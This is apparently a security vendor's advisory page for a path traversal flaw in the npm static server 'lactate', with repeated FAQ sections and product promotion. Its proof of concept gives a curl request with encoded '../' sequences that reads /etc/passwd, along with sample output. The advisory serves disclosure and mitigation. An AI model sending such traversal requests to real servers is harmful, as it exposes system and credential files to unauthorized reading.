What is GHSA-68GR-CMCP-G3MJ?

GHSA-68GR-CMCP-G3MJ is a high-severity path traversal vulnerability in lactate (npm), affecting versions <= 0.13.12. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.

How severe is GHSA-68GR-CMCP-G3MJ?

GHSA-68GR-CMCP-G3MJ has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Which versions of lactate are affected by GHSA-68GR-CMCP-G3MJ?

lactate (npm) versions <= 0.13.12 is affected.

Is there a fix for GHSA-68GR-CMCP-G3MJ?

No fixed version is listed for GHSA-68GR-CMCP-G3MJ yet. Monitor the advisory for updates and apply mitigations in the interim.

Is GHSA-68GR-CMCP-G3MJ exploitable, and should I be worried?

Whether GHSA-68GR-CMCP-G3MJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

What actually determines whether GHSA-68GR-CMCP-G3MJ is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

How do I fix GHSA-68GR-CMCP-G3MJ?

No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.

GHSA-68GR-CMCP-G3MJ in lactate

Q: How severe is GHSA-68GR-CMCP-G3MJ?

GHSA-68GR-CMCP-G3MJ has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Q: Which versions of lactate are affected by GHSA-68GR-CMCP-G3MJ?

lactate (npm) versions <= 0.13.12 is affected.

Q: Is there a fix for GHSA-68GR-CMCP-G3MJ?

No fixed version is listed for GHSA-68GR-CMCP-G3MJ yet. Monitor the advisory for updates and apply mitigations in the interim.

Q: Is GHSA-68GR-CMCP-G3MJ exploitable, and should I be worried?

Whether GHSA-68GR-CMCP-G3MJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

Q: What actually determines whether GHSA-68GR-CMCP-G3MJ is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Q: How do I fix GHSA-68GR-CMCP-G3MJ?

No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.

Summary

Directory Traversal in lactate

A crafted GET request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.

Mitigating factors:
Only files that the user running lactate has permission to read will be accessible via this vulnerability.

Proof of concept:
Please globally install the lactate package and cd to a directory you wish to serve assets from. Next, run lactate -p 8081 to start serving files from this location.

The following cURL request can be used to demonstrate this vulnerability by requesting the target /etc/passwd file:

curl "http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

GHSA-68GR-CMCP-G3MJ has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

lactate (<= 0.13.12)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environment New to Kodem? Get a demo →

Remediation advice

As there is currently no fix for this issue selecting an alternative static web server would be the best choice.

Frequently Asked Questions

What is GHSA-68GR-CMCP-G3MJ? GHSA-68GR-CMCP-G3MJ is a high-severity path traversal vulnerability in lactate (npm), affecting versions <= 0.13.12. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
How severe is GHSA-68GR-CMCP-G3MJ? GHSA-68GR-CMCP-G3MJ has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
Which versions of lactate are affected by GHSA-68GR-CMCP-G3MJ? lactate (npm) versions <= 0.13.12 is affected.
Is there a fix for GHSA-68GR-CMCP-G3MJ? No fixed version is listed for GHSA-68GR-CMCP-G3MJ yet. Monitor the advisory for updates and apply mitigations in the interim.
Is GHSA-68GR-CMCP-G3MJ exploitable, and should I be worried? Whether GHSA-68GR-CMCP-G3MJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
What actually determines whether GHSA-68GR-CMCP-G3MJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
How do I fix GHSA-68GR-CMCP-G3MJ? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.